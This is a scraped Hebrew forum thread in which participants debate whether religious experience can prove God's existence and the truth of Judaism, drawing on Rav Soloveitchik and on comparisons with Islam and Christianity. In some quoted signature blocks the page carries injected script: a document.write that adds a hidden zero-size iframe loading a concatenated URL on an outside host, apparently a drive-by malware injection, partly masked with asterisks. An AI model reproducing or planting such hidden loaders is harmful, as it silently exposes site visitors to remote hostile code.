| נשלח ב-26/6/2012 08:31 |
 |
| |
נכפל בטעות
תוקן על ידי לומדתלומדת ב- 26/06/2012 08:37:23
|
|
|
|
| נשלח ב-26/6/2012 08:34 |
|
| |
אכן כדבריך השני לא מחייב את הראשון.
והסברה שלא יתכן שברא העולם סתם כך, היא סברה, ניתן לדון בה, ולהוביל אותה למקומות שונים, מה ידיעתנו בא-ל הזה ובמה יתכן או לא יתכן שעשה, (וכידוע יש שאלות כבדות יותר על איך יתכן שמאפשר דברים בעולם), ואם טרח להודיע-היאך טרח ומה הודיע, וכו'. כך שהאמונה באל לא בהכרח גוררת אמונה בתורה ובמצוות, גם אם יש סברה כזו.
ולעיקר הדברים - אכן, לכל אחד הרב סולוביצ'יק שלו, וההתפעמות המימונית שלו, ואין צורך בקנה מידה להצדקת חוויה, כי החווה - מאמין במה שעולה ממנה, והלא חווה - בלאו הכי לא יאמין דרך הצדקות. ולחווה אין חוויות סותרות. לבוחר מה נכון מחוויות של אחרים יש בעיה כזו, אבל הבעיה שלו קודמת - חוויה אינה ניתנת להרגשה באמצעות אחר. יקשיב האדם לעצמו, אחרי שיצליל קצת תודעתו, ויעדנה, ויחווה מה שיחווה, אם יחווה, מתי שיחווה.
איננו טוענים לעדיפות חוויותינו על פני המוסלמים, לעניות דעתי. שיחווה המוסלמי מה שיחווה. אנו, אפשר שבשל הכוונת האל, חווים מה שחווים ואשרינו שזכינו. איננו משכנעים או מתנצחים. אפשר שהחיבור של המוסלמי לטוב נעשה אכן דרך חווית האל שלו. הרי אין לנו ענין לגיירו, וברור שהשם בראו ומציפו במה שמציפו. לית אתר פנוי מיניה זה גם בהצפות הריגשיות. לו רצה את כולנו יהודים, או את כולנו נמאמנים לתורה, היה מציף את כולנו בחוויות מימוניות. יכולתו של הבורא גדולה מזה לאין ערוך.
 |
|
|
|
|
| נשלח ב-26/6/2012 09:07 |
|
| |
לומדת
תודה.
ספרן
כנ"ל
***
אלי
היות שאני כותב לך תשובות רבות, ואתה פוסל את כולן, אני מנסה להבין במה אנו מסכימים ובמה לא.
זה שיש חויות דתיות מוסכם על שנינו.
זה שיש כאלו שמסתמכים עליהם כדי להשתכנע בדתם, גם זה מוסכם.
זה שחויות דתיות ופרשנותן זקוקות לבדיקה פילוסופית, אף זה מוסכם.
אז מה לא בסדר?
אולי הבעיה עם המילים הבאות?
1. הוכחה.
2. כלים לוגיים.
כתבתי לך פעמים רבות עד שלא אדע לספור שיש סוגים שונים של הוכחה. רמות שונות. שימושים שונים במילה. אתה רשאי להגדיר תחומי משמעות כרצונך, ואולי תסיים עם מילון פרטי, שתצטרך כל העת לשלוף אותו ולהסביר איך אתה משתמש במילים.
אמנם, אצל רוב בני האדם אין דיוק רב בשימוש במילים. ומשם צומחות אי הבנות ומשם צומחים ויכוחים שחוזרים על עצמם.
כמדומה שאנו, שנינו ובכלל בפורום הזה, יודעים זאת ומשתדלים להימנע מכך.
אז הבה נדייק.
הוכחה לוגית היא, עד כמה שידוע לי, תוצאה של מבנה מסויים של משפטים המאורגנים בטיעון. יש הנחות יסוד. יש מסקנה. אם המסקנה נובעת מן ההנחות (כלומר לא יתכן - לוגית - שההנחות יהיו אמיתיות והמסקנה לא) יש לפנינו טיעון תקף.
למרבה הצער הדרישה להוכחות לוגיות היא חזקה מדי ולכן אינה מאפשרת לנו ללמוד דברים חדשים ממש. אנו כן יכולים להשתמש בלוגיקה כדי לבדוק את מערכת האמונות שלנו, לזהות סתירות, ולהצביע על ההנחות הסותרות שאחת מהן חייבת להיות שקרית.
זו התועלת העצומה שבלוגיקה. אבל יותר מכך אין היא יכולה לתת. (כמובן, היו שייחסו לה יותר, אבל לדעתי הם טעו. וכמדומה שכבר סקרתי את הנושא הזה בעבר באשכולות).
לפיכך, חיפוש אחרי הוכחה לוגית אומר - לוגית - שאתה מחפש טיעון מסודר ותקף. אבל כדי שתדע במשמעות החזקה של המילה שהטיעון אמיתי יהיה עליך לבחור הנחות אמיתיות. ואיך יודעים שהנחות הן אמיתיות?
חזרנו להתחלה. לא ממש, כי התקדמנו, אבל לא מספיק. לא עבור המחפש "הוכחות לוגיות".
הוכחות אחרות.
כאן יש לנו ממש מחלוקת. אני משתמש - בזהירות ככל שאוכל - במילה "הוכחה" ומציין ש"הוכחה" לחוד ו"הוכחה לוגית" לחוד.
יש תחומי ידע ולימוד רבים, ובהם אנו נאלצים להסתפק בפחות מאשר הוכחות לוגיות. אנו כן משתמשים בלוגיקה כדי לייעל את עשיית הסדר במחשבותינו (=אמונותינו) ומזהים סתירות. אבל זה לא מספיק.
צא וראה מה רבים התחומים האלו. החל מפיזיקה (אפילו הניוטונית) שבה אנו מתעלמים מחורים לוגיים כמו שאלת האינדוקציה (איך יודעים שהעתיד יהיה דומה לעבר, שיש בכלל חוקים, מה שנקרא "בעית יום") ורבים יאמרו שבצדק. ועבור לתחומים עוד יותר קשים להכרעה, עד למדעי החברה וההיסטוריה.
איפה יש למקם את העיסוק בשאלות הדת, שהן מתחלקות לשאלות עקרוניות שמשותפות לכל דת (או לפחות למונותיאיסטיות) ושאלות פרטיות לדת שלנו, היהודים. הראשונות עוסקות במציאות אלוקים ובמה שאפשר ואי אפשר לומר עליו. והאחרונות בטענות המוכרות לנו מן ההיסטוריה. למשל שה' נתן תורה ושהוא נתן אותה למשה בסיני (אלו שתי טענות ואכן יש קבוצות שמקבלות את האחת ולא את האחרת ועדיין כולם רוצים לראות עצמם כאורתודוכסים. בוא נניח שזה שבח).
מה יכולה החויה הדתית לספק?
זה תלוי מאד בתכניה, בעוצמתה. יהיה מי שיטען כי זכה לאבידנטיות (=ברירות שהיא היא העדות הפנימית לאמת שגיליתי). דוגמא לדבר: התם בסיפור של ר' נחמן. אבל למי יש כזו אבידנטיות בחויותיו?
וכמובן, התם וכל מי שזכה להתגלות, ממשה רבנו והלאה, יתקשה להוכיח את טענותיו. כאמור, וזה הנושא שלנו כל העת, שאלה גדולה היא מה ניתן להוכיח. ושוב, זה תלוי מה אנו מחפשים ב"הוכחה".
הרב סולוביצ'יק, לפי הבנתי בו, אינו טוען שזכה להתגלות. לפיכך, אפשר לשאול אותו אם הוא יכול לומר בוודאות שאיןהוא מטעה את עצמו בפרשנות חוייתו או בתוקף שניתן לייחס לה.
אבל שאלות מצויינות אלו אין בהן די כדי לגרום לאדם לוותר על פרשנות שהיא בעיניו מוצדקת. וכאן אנו מגיעים להקשר.
אני מצהיר מראש שהדברים הבאים אינם בנויים בצורה של "הוכחה לוגית". אבל הם מסודרים, עד כמה שאני יכול, ומצטרפים יחד.
ושוב אני חוזר על מה שכתבתי לעיל, אם כי איני יודע מה התועלת.
החויה הדתית מציעה תכנים. תכנים אלו נבדקים לאור הידע הפילוסופי שמספק לנו הנחות יסוד בעוד הידע היהודי שלנו מספק לנו מסגרת של פרשנות.
כל אלו מצדיקים יחד את הטענה נוסח הרב סולוביצ'יק: אני יודע שיש ה', שהוא נתן תורה וחפץ במצוות, וכו'.
תאמר: ה"יודע" שלך בעיני הוא קלוש. מצויין! הרב סולוביצ'יק היה הראשון שהסכים לכך. הוא כתב זאת במפורש. ואני חוזר אחריו כי אני מסכים עמו.
לא התרשמת? לא מצאת חויות כאלו בליבך? חבל. אבל זה מה שיש.
יש לך חויות אבל אתה מפקפק בהן? טוב מאד. כנות עצמית היא דבר גדול. אם כי, שוב, צריך להיזהר לא להפעיל אותה במקום שאינה נדרשת. ויותר מכפי שהיא מסוגלת לספק.
זכור כי המשפט "איני יודע אם הוא צודק" אינו מהווה הצדקה לוגית למשפט "אני יודע שהוא לא צודק".
תטען: כל נציג של דת יכול לטעון זאת. נכון מאד. ולכן יש מקום לבדיקה פילוסופית של התכנים שהוא טוען להם.
למשל, האדם הדתי ההודי, שחויה שלו מוכרת לי משיר שהזכרתי בעבר, היה, לפי כתיבתו, אדם דתי מאד. אבל הביקורת הפילוסופית (בין השאר) מספיקה לי כדי לראות בו מאמין באלילות.
למשל, האדם הנוצרי הדתי, שמציג עמדות פילוסופיות, עדיין לדעתי טועה מפני שהיסטורית אני יודע שטענותיו לגבי יסוד דתו אינן נכונות, ופסיכולוגית, מוסרית ותיאולוגית אני יודע שהדת שלו מציגה טיעונים שגויים ביסודם. כל זה מחייב דיון ארוך, כמובן.
כנ"ל לגבי האיסלם.
כשאני בודק את המסורת שלי, שלאורה אני מפרש את החויה שלי, אני מקבל תוצאה שמניחה את דעתי. תוכל לטעון נגדי שאני מציג תמונה מסויימת למדי של המסורת. נכון. אני שולל חלקים גדולים מן המסורת, אולי כאלו שלומדת תרצה לאמץ בשם החויה (כמו הקבלה. ומאותן סיבות שאני דוחה את הנצרות).
אתה סבור שזו לא הוכחה "לוגית"? נכון. לא טענתי אחרת.
אתה סבור שזו לא הוכחה?
תלוי איך משתמשים במילה.
אתה רואה שאני מפעיל את הכלים הלוגיים שלי. והם אינם מביאים אותי למקום שאתה נמצא בו.
האם יש להגיע למסקנה שהכל תלוי בשאלה "מהי הוכחה"?
סבורני שכן.
(איקון פורש ידים לשמים בתקוה).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-26/6/2012 09:11 |
|
| |
לומדת
את מציגה עמדה פלורליסטית כלפי דתות מסויימות.
איני שותף לדעותיך כפי שאת מציגה אותן וכפי שאני מבין אותן. המוסלמי אינו עובד עבודה זרה, אבל הוא טועה במציאות. ה' לא שלח את המלאך גבריאל להתגלות למוחמד, וה' אינו חפץ ברמדאן.
יתכן מאד שיש דברים יפים ונכונים באיסלם (אני אישית מאד מתפעל מן הסופים, וכבר קדמוני רבותינו בעל חובות הלבבות ורבי אברהם בן הרמב"ם). אבל הדברים האלו הם בפילוסופיה ובמיסטיקה, למשל, ולא בטענות ההיסטוריות. יתכן ומסתבר שיש טעויות נוספות שהייתי מזהה אילו הייתי בקיא באיסלם.
לכן איני שותף לשבח שאת חולקת לדת הזו. אבל כמדומה שדיון באיסלם ראוי לאשכול בפני עצמו (היה אבל ארוך. יש מקום לחדש. איני יודע אם יהיה לי זמן עבורו למרות שהדברים מאד ראויים לעיון).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-26/6/2012 09:43 |
|
| |
בוקר טוב
אספינוזה טען שאין בחירה חופשית,לא לאל ולא לאדם,כי הכל "טבע" מהות האינסוף,שהעולם הוא אשליה,ואין בלתה.
הצדוקים,כולם היו מתעסקים בקודש,ממש.אך איזה פלא,גם כשתורתם עסקה בקודש הקודשים בלבד(לפי דבריה של פרופסור רחל אליאור),לא יכלו להצביע על מנהיג לבירה,כלומר שתורתם הינה תורת האמת,למרות היותם בקודש.
בהיותם רואים דברים בטרם התרחשותם בהווה,היו יכולים המה לנכס זאת לעצמם,כלומר,נניח 'שאחד או אחת מחברי הפורום' רוצה להכנס לקודש הקודשים,נניח שהיא הוא באה מבחירה עצמאית(שאין גוף אשר השפיעה עליה כלל),אל אותם רואים,ומבקשת מהם למצוא את את האתון אשר אבד לה,האם לאותם רואים יכולים לתת להם מבחירה חופשית לראות את אשר התרחש עימה,או שזה לא נתון לבחירתם כלל.
כלומר נניח שאחד מחברי הפורם רוצה להנכס לקודש הקודשים,נקרא לו אלישע בן אבויה(נניח),הוא מבין שאין האנשים עימם הוא נמצא,נמצאים בקודש,הוא ניגש לצדוקים ורואה שיש להם תורה משל עצמם וכל תורתם עוסקת בקודש הקודשים.,והפרושים עימם הוא נמצא אינם עוסקים בכך.
מה יעשה אלישע בן אבויה?
האם היתה לו בחירה?
באמת מה היה המשך הסיפור עם אלישע?
|
|
|
|
| נשלח ב-26/6/2012 11:01 |
|
| |
למיימוני
מאחר שאתה מסתמך בדבריך על הרב סולובייצ'יק אודה לך אם תצטט את דבריו שבהם הוא טוען שהחוויה הדתית מהווה הוכחה לקיום האל.
(לדעתי הוא כתב בדיוק להפך :מאחר שהוא מאמין שהקב"ה קיים הוא מציע בספריו דרכים איך לחוות רגשית את האמונה השכלית הזאת) .
.
|
|
|
|
| נשלח ב-26/6/2012 11:02 |
|
| |
מימוני,
אני הבאתי את החוויה הדתית עד המקסימום שאפשר להביא אותה, או להביא ממנה, נראה לי.
אתה רוצה להוציא ממנה, לסחוט ממנה, גם מה שאין ולא יכול להיות בה.
להביא מהחויהה דתית עליונות על דתות אחרות, זה אכן בעיני בלתי אפשרי, בטח אם אתה רוצה להשמע גם לוגי. טענותיך על התגלות המלאך ללא יודעת מי, וסליחה על הבורות, או רצון או אי רצון השם בראמאדאן, הן בדיוק או כמעט בדיוק הטענות של אחרים על התגלות השם בסיני ועל רצונו בצום גדליה ובתענית אסתר (כי רצונו בדברי חכמים וכו), וזאת אם נעשה הנחה לצום יום כיפור, למרות שהטוענים לא יעשו גם את ההנחה הזאת.
הרגשות וחוויות, או שהולכים איתן, מתמסרים להן, מתקשרים אליהן ודרכן, ואז א"א לטעון לעדיפות הפרשנות שלך על פני פרשנות אחרת, (גם אם תחלק את זה לאלף תת שאלות ונושאי משנה, זה לא יועיל) כי מה ומי אנו שנגיד לבני אדם אם חווים הם נכון או לא נכון? אמיתי או לא אמיתי? או שלא הולכים עם החוויות, ואז אין להסיק מהן גם מה שאתה מסיק מהן, וחפש לך הוכחות וביסוסים בשדה הלוגיקה או הפילוסופיה.
בעיני השאלה אינה מי עדיף ומי טועה, בעיני השאלה היא לאן החוויה מוליכה אותנו. האם היא מיטיבה אותנו, במה שנראה בעינינו טוב, האם היא מעדנת אותנו, האם היא מחברת אותנו לאיכויות שאנו רואים כאיכויות הבורא -שמחה, חסד, חמלה, אהבה, יושר. ואז לא אכפת לי אם המוסלמי מאמין בגבריאל או לא, כל עוד שהוא משתדל להיות אדם טוב, ומשתדל להיטיב לעצמו ולסביבה, משתדל להאיר את ימיו ולילותיו ואת ימי ולילות זולתו. הוא לא חבר שלי, כי התורה הבדילה אותנו מעמים, אך אני יכולה לראות בו אדם טוב ועושה רצון השם.
(ולא, אינני חובבת קבלה כלל וכלל.ונשמתי לא מרגישה שם בבית.)
לא ברור לך, שאם יש עצכ"ח נוצרי או מוסלמי, יש שם מימוני משלהם והוא כותב דברים דומים מאד למה שאתה כותב, ומסביר איך היהודים טועים בפירוש החוויות, ורק הם צודקים, ומנסים להשמע גם לוגיים כי יש שם איזה אלי נבון מאד שלא מאפשר התחמקות?
אז בעיני, אם הם אנשים שמשתדלים לנגוע בחיים נגיעה מיטיבה, הם טובים, וזה רצון השם מהם, הרי נבראו וגדלו שם בעם, ואם לא, אז לא, וגם על זה אני מביטה בחמלה כי ודאי יש סיבות שמקשות עליהם להיות טובים.
ואני שמחה ומודה להשם שנטעני בעם שנטעני וגידלני במקום שבו מאמינים בו ובתורתו ובמצוותיו, ומודה לו על כך שזה מביאני לנגיעה מיטיבה בחיי ובחיי סביבתי. ומי שגדל במקום חרדי ולא נוגע נגיעה מיטיבה, מה התועלת ב'נכונות' חוויותיו? וגם עליו אני מביטה בחמלה, כי גם לו היו נסיבות שהביאוהו לזה, וכולן אלוקיות.
ולו היית מוסלמי, או לו הייתי מוסלמית חלילה, סביר שהייתי מודה להשם על כך, וסביר שהיית עכשו מסביר בערבית למה הפירוש המוסלמי לחוויה הוא הנכון, והיתר מתבלבלים.
והתנודות האלו (של אילו... אז...) הן חלק מחוויות ומהאמונה הרגשית, והן לא יכולות לעמוד בקריטריונים של אלי, וגם לא בפחות מחמירים.
|
|
|
|
|
| נשלח ב-26/6/2012 11:16 |
|
| |
למה לא לגשת למקור?
תפתחו חומש ותראו אם הדת שלנו באמת מבוססת על חוויות.
אני לא נתקלתי בביסוס כזה אם אתם מכירים אחרת אני אשמח לשמוע.
|
|
|
|
| נשלח ב-26/6/2012 13:29 |
|
| |
| מיימוני כתב: |  | לומדת
את מציגה עמדה פלורליסטית כלפי דתות מסויימות.
איני שותף לדעותיך כפי שאת מציגה אותן וכפי שאני מבין אותן. המוסלמי אינו עובד עבודה זרה, אבל הוא טועה במציאות. ה' לא שלח את המלאך גבריאל להתגלות למוחמד, וה' אינו חפץ ברמדאן.
יתכן מאד שיש דברים יפים ונכונים באיסלם (אני אישית מאד מתפעל מן הסופים, וכבר קדמוני רבותינו בעל חובות הלבבות ורבי אברהם בן הרמב"ם). אבל הדברים האלו הם בפילוסופיה ובמיסטיקה, למשל, ולא בטענות ההיסטוריות. יתכן ומסתבר שיש טעויות נוספות שהייתי מזהה אילו הייתי בקיא באיסלם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
הטענות ההיסטוריות והפילוסופית שלך ישנם בדיוק על היהדות.
"היהודי אינו עובד עבודה זרה, אבל הוא טועה במציאות. אלקים לא התגלה למשה [עכ"פ אין הוכחה מספיק חזקה לכך, בדיוק כמו המצב לגבי מוחמד וגבריאל. ההבדלים של הכוזרי לא ממש משכנעים.] והוא לא חפץ בלולב ואתרוג [כתוב מפורש במורה נבוכים]
יתכן מאד שיש דברים יפים ונכונים ביהדות (אני אישית מאד מתפעל מן הרציונליות המיימוניסטי, ומן הפסיכולוגיה/תיאוסופיה החסידית, וכבר קדמוני רבותינו ). אבל הדברים האלו הם בפילוסופיה ובמיסטיקה, למשל, ולא בטענות ההיסטוריות. יתכן ומסתבר שיש טעויות נוספות שהייתי מזהה אילו הייתי בקיא ביהדות [למשל טענת רוב חלקי היהדות שקיימים שדים ורוחות, או בקבלת הזוהר והאר"י."
ות,
|
|
|
|
| נשלח ב-26/6/2012 14:20 |
|
| |
יהי. לשם שינוי קבל ח"ח.
|
|
|
|
| נשלח ב-26/6/2012 14:45 |
|
| |
| מיימוני כתב: | | לומדת
תודה.
ספרן
כנ"ל
***
אלי
היות שאני כותב לך תשובות רבות, ואתה פוסל את כולן, אני מנסה להבין במה אנו מסכימים ובמה לא.
זה שיש חויות דתיות מוסכם על שנינו. מוסכם, ככל שמדובר על חוויה שהחווה יכול להעניק לה פרשנות דתית.
זה שיש כאלו שמסתמכים עליהם כדי להשתכנע בדתם, גם זה מוסכם.למען האמת עד שקראתי את הדברים פרי מקלדתך לא חשבתי שיש מישהו רציני שטוען כך היום.
זה שחויות דתיות ופרשנותן זקוקות לבדיקה פילוסופית, אף זה מוסכם. פשיטא. ככל שהמשמעויות גדולות יותר - בדיקה עמוקה יותר.
אז מה לא בסדר?
אולי הבעיה עם המילים הבאות?
1. הוכחה.
2. כלים לוגיים.
כתבתי לך פעמים רבות עד שלא אדע לספור שיש סוגים שונים של הוכחה. רמות שונות. שימושים שונים במילה. אתה רשאי להגדיר תחומי משמעות כרצונך, ואולי תסיים עם מילון פרטי, שתצטרך כל העת לשלוף אותו ולהסביר איך אתה משתמש במילים.
אמנם, אצל רוב בני האדם אין דיוק רב בשימוש במילים. ומשם צומחות אי הבנות ומשם צומחים ויכוחים שחוזרים על עצמם.
כמדומה שאנו, שנינו ובכלל בפורום הזה, יודעים זאת ומשתדלים להימנע מכך.
אז הבה נדייק.
הוכחה לוגית היא, עד כמה שידוע לי, תוצאה של מבנה מסויים של משפטים המאורגנים בטיעון. יש הנחות יסוד. יש מסקנה. אם המסקנה נובעת מן ההנחות (כלומר לא יתכן - לוגית - שההנחות יהיו אמיתיות והמסקנה לא) יש לפנינו טיעון תקף.
למרבה הצער הדרישה להוכחות לוגיות היא חזקה מדי ולכן אינה מאפשרת לנו ללמוד דברים חדשים ממש. אנו כן יכולים להשתמש בלוגיקה כדי לבדוק את מערכת האמונות שלנו, לזהות סתירות, ולהצביע על ההנחות הסותרות שאחת מהן חייבת להיות שקרית.
זו התועלת העצומה שבלוגיקה. אבל יותר מכך אין היא יכולה לתת. (כמובן, היו שייחסו לה יותר, אבל לדעתי הם טעו. וכמדומה שכבר סקרתי את הנושא הזה בעבר באשכולות).
לפיכך, חיפוש אחרי הוכחה לוגית אומר - לוגית - שאתה מחפש טיעון מסודר ותקף. אבל כדי שתדע במשמעות החזקה של המילה שהטיעון אמיתי יהיה עליך לבחור הנחות אמיתיות. ואיך יודעים שהנחות הן אמיתיות?
חזרנו להתחלה. לא ממש, כי התקדמנו, אבל לא מספיק. לא עבור המחפש "הוכחות לוגיות".
לא מסכים. הוכחה לוגית יכולה להיות "מתמטית", יכולה להיות "סטטיסטית" ויכולה להיות בנויה על הגיון. לפי הבנתי אין כל הוכחה בעולם שאינה לוגית. אם יש לך דוגמא להוכחה כזו, אשמח לשמוע.
הוכחות אחרות.
כאן יש לנו ממש מחלוקת. אני משתמש - בזהירות ככל שאוכל - במילה "הוכחה" ומציין ש"הוכחה" לחוד ו"הוכחה לוגית" לחוד.
יש תחומי ידע ולימוד רבים, ובהם אנו נאלצים להסתפק בפחות מאשר הוכחות לוגיות. אנו כן משתמשים בלוגיקה כדי לייעל את עשיית הסדר במחשבותינו (=אמונותינו) ומזהים סתירות. אבל זה לא מספיק.
צא וראה מה רבים התחומים האלו. החל מפיזיקה (אפילו הניוטונית) שבה אנו מתעלמים מחורים לוגיים כמו שאלת האינדוקציה (איך יודעים שהעתיד יהיה דומה לעבר, שיש בכלל חוקים, מה שנקרא "בעית יום") ורבים יאמרו שבצדק. ועבור לתחומים עוד יותר קשים להכרעה, עד למדעי החברה וההיסטוריה.
איפה יש למקם את העיסוק בשאלות הדת, שהן מתחלקות לשאלות עקרוניות שמשותפות לכל דת (או לפחות למונותיאיסטיות) ושאלות פרטיות לדת שלנו, היהודים. הראשונות עוסקות במציאות אלוקים ובמה שאפשר ואי אפשר לומר עליו. והאחרונות בטענות המוכרות לנו מן ההיסטוריה. למשל שה' נתן תורה ושהוא נתן אותה למשה בסיני (אלו שתי טענות ואכן יש קבוצות שמקבלות את האחת ולא את האחרת ועדיין כולם רוצים לראות עצמם כאורתודוכסים. בוא נניח שזה שבח).
לא הבנתי. אנא הגדר מהי "הוכחה" שאינה הוכחה לוגית. אולי משם נוכל להתקדם.
מה יכולה החויה הדתית לספק?
זה תלוי מאד בתכניה, בעוצמתה. יהיה מי שיטען כי זכה לאבידנטיות (=ברירות שהיא היא העדות הפנימית לאמת שגיליתי). דוגמא לדבר: התם בסיפור של ר' נחמן. אבל למי יש כזו אבידנטיות בחויותיו?
וכמובן, התם וכל מי שזכה להתגלות, ממשה רבנו והלאה, יתקשה להוכיח את טענותיו. כאמור, וזה הנושא שלנו כל העת, שאלה גדולה היא מה ניתן להוכיח. ושוב, זה תלוי מה אנו מחפשים ב"הוכחה".
הרב סולוביצ'יק, לפי הבנתי בו, אינו טוען שזכה להתגלות. לפיכך, אפשר לשאול אותו אם הוא יכול לומר בוודאות שאיןהוא מטעה את עצמו בפרשנות חוייתו או בתוקף שניתן לייחס לה.
אבל שאלות מצויינות אלו אין בהן די כדי לגרום לאדם לוותר על פרשנות שהיא בעיניו מוצדקת. וכאן אנו מגיעים להקשר.
אני מצהיר מראש שהדברים הבאים אינם בנויים בצורה של "הוכחה לוגית". אבל הם מסודרים, עד כמה שאני יכול, ומצטרפים יחד.
ושוב אני חוזר על מה שכתבתי לעיל, אם כי איני יודע מה התועלת.
החויה הדתית מציעה תכנים. לא נכון, החוויה הדתית מציעה תחושה. את התכנים אנחנו יכולים למלא בתחושה רק לאחר הפרשנות. אותה פרשנות לה אנחנו מחפשים הוכחה. תכנים אלו נבדקים לאור הידע הפילוסופי שמספק לנו הנחות יסוד בעוד הידע היהודי שלנו מספק לנו מסגרת של פרשנות.
כל אלו מצדיקים יחד את הטענה נוסח הרב סולוביצ'יק: אני יודע שיש ה', שהוא נתן תורה וחפץ במצוות, וכו'.
לא נכון. החוויה לא אומרת דבר מכל זה. אנא הסבר הכיצד החוויה שלך גרמה לך לדעת את כל זה. זוהי למעשה השאלה בראשית האשכול. שאלה ממנה אתה מתחמק שוב ושוב. אמירת דבר מספר פעמים לא הופכת אותו לנכון.
תאמר: ה"יודע" שלך בעיני הוא קלוש. מצויין! הרב סולוביצ'יק היה הראשון שהסכים לכך. הוא כתב זאת במפורש. ואני חוזר אחריו כי אני מסכים עמו.
קלוש? לא. לא קיים. בשביל לדעת משהו מחוויה, צריך לבדוק את מקורה. צריך לוודא שאין בה כשלים לוגיים. צריך לוודא שאינה נובעת ממניעים פסיכולוגיים. לוודא שהיא אינה חוויות כמו של כל אלו שאינך מסכים לפרשנותם. דבר מזה לא טרחת לעשות. למרות - שזהו בדיוק נושא האשכול ועליו הוא נסוב.
לא התרשמת? לא מצאת חויות כאלו בליבך? חבל. אבל זה מה שיש.
יש הוא עניין פוזיטיבי. אנחנו ממתינים בקוצר רוח ליש.
יש לך חויות אבל אתה מפקפק בהן? טוב מאד. כנות עצמית היא דבר גדול. אם כי, שוב, צריך להיזהר לא להפעיל אותה במקום שאינה נדרשת. ויותר מכפי שהיא מסוגלת לספק.
זכור כי המשפט "איני יודע אם הוא צודק" אינו מהווה הצדקה לוגית למשפט "אני יודע שהוא לא צודק".
ברור. זכור שהמשפט "אני יודע שאני צודק רק בגלל שאני יודע שאני צודק" טיפשי ביותר. לבנתיים לא טרחת להגיע לבדל טענה שתבדל אותך מכל החווים האחרים. בדל טענה שתאשש את מקרורות הידע שלך כלפיי החוויה.
תטען: כל נציג של דת יכול לטעון זאת. נכון מאד. ולכן יש מקום לבדיקה פילוסופית של התכנים שהוא טוען להם.
בדיקה פילוסופית אחר כמובן שנברר את מקור החוויה. בדיקה ממנה אתה מתחמק.
למשל, האדם הדתי ההודי, שחויה שלו מוכרת לי משיר שהזכרתי בעבר, היה, לפי כתיבתו, אדם דתי מאד. אבל הביקורת הפילוסופית (בין השאר) מספיקה לי כדי לראות בו מאמין באלילות.
שוב, אתה יוצא מנקודת הנחה שיש בכלל חוויה דתית רק בגלל שחווית משהו שיכול להיות צורך פסיכולוגי. כדי לפשט, נא מצא חווים אשר החוויה שלהם אינה בעייתית פילוסופית לפחות כמו היהדות (מה עם מפלצת הספגטי הגדולה?)
למשל, האדם הנוצרי הדתי, שמציג עמדות פילוסופיות, עדיין לדעתי טועה מפני שהיסטורית אני יודע שטענותיו לגבי יסוד דתו אינן נכונות, ופסיכולוגית, מוסרית ותיאולוגית אני יודע שהדת שלו מציגה טיעונים שגויים ביסודם. כל זה מחייב דיון ארוך, כמובן.
דיון ארוך (שגם ממנו אתה מתחמק זה שנתיים) אשר כלל אינו קשור לכאן. אנחנו מדברים על החוויה. מה היא מלמדת והכיצד.
כנ"ל לגבי האיסלם.
כשאני בודק את המסורת שלי, שלאורה אני מפרש את החויה שלי, אני מקבל תוצאה שמניחה את דעתי. תוכל לטעון נגדי שאני מציג תמונה מסויימת למדי של המסורת. נכון. אני שולל חלקים גדולים מן המסורת, אולי כאלו שלומדת תרצה לאמץ בשם החויה (כמו הקבלה. ומאותן סיבות שאני דוחה את הנצרות).
למה אתה בורח מהתמודדות בשאלה? מה רע בלהרגיש קבלה יותר מלהרגיש יהדות?
אתה סבור שזו לא הוכחה "לוגית"? נכון. לא טענתי אחרת.
אתה סבור שזו לא הוכחה?
תלוי איך משתמשים במילה.
אתה רואה שאני מפעיל את הכלים הלוגיים שלי. והם אינם מביאים אותי למקום שאתה נמצא בו.
לא. הכלים הלוגיים שלך הופכים להיות גמישים לעת הצורך. לפתע טיעונים מעגליים הפכו להיות לגיטימיים. לפתע אפשר פשוט לחזור על השאלות בלי צורך לתת תשובות. לפתע מה שמותר לך (להסיק מהחוויה שלא ידוע מקורה) אסור לכל בן דת אחרת, והכל בשם פילוסופיה שהתגלתה בחוויה רק לך.
בכלים הלוגיים שלי - הוכחה תמיד תהיה הוכחה. טיעון מעגלי יהיה טיעון מעגלי, ומה שאסור ומותר לי, יהיה גם כלפי בן שיחי. ואני לא אתחמק מלדון רק בגלל שהתשובה עלולה להיות לא נוחה לי.
האם יש להגיע למסקנה שהכל תלוי בשאלה "מהי הוכחה"?
סבורני שכן.
אדרבא, מהי הוכחה? אנא, דוגמא להוכחה לא לוגית מהי, איך מגיעים אליה, האם היא מחייבת, מדוע היא מחייבת? את מי?
(איקון פורש ידים לשמים בתקוה).
(איקון פורש ידים לשמים ביאוש). _________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-26/6/2012 15:31 |
|
| |
| דייר כתב: | | למה לא לגשת למקור?
תפתחו חומש ותראו אם הדת שלנו באמת מבוססת על חוויות.
אני לא נתקלתי בביסוס כזה אם אתם מכירים אחרת אני אשמח לשמוע. |
|
וידבר ה' אל משה לאמר.
|
|
|
|
| נשלח ב-26/6/2012 16:06 |
|
| |
לומדת
טענתי נגד האיסלם והנצרות לא היתה מכוח החויה אלא מכוח הפרשנות שלה או/ו ביקורת פילוסופית והיסטורית.
צענע
אני משתמש בדברי הרב סולוביצ'יק כפי שהבנתי אותם. יתכן שהוא באמת הציג אותם לפי הסדר שלך, כלומר קודם להאמין ואז לחוות. אני לא זוכר כך אבל אין הטקסט לפני.
בכל מקרה, אני סבור שאפשר להבין כמו שכתבתי מדבריו. אם אמצא את הטקסטים, אפנה אליהם.
יהי אור
אני מסכים שאפשר ויותר מכך - ראוי, לבדוק היסטורית ופילוסופית כל דת.
כשאני בודק את דתי שלי, אני מגיע למסקנות מסויימות - שהצגתי באשכולות רבים מספור - אודות הקבלה (נגד) והמסורת המקראית (בעד).
יש כמובן להסביר ולפרט יותר, אבל האם זה נשוא האשכול?
אלי
איני יודע איך לענות יותר ממה שעניתי.
הצעתי שההבדל בינינו, או אחד ההבדלים בינינו, הוא בשימוש הלשון במילה "הוכחה".
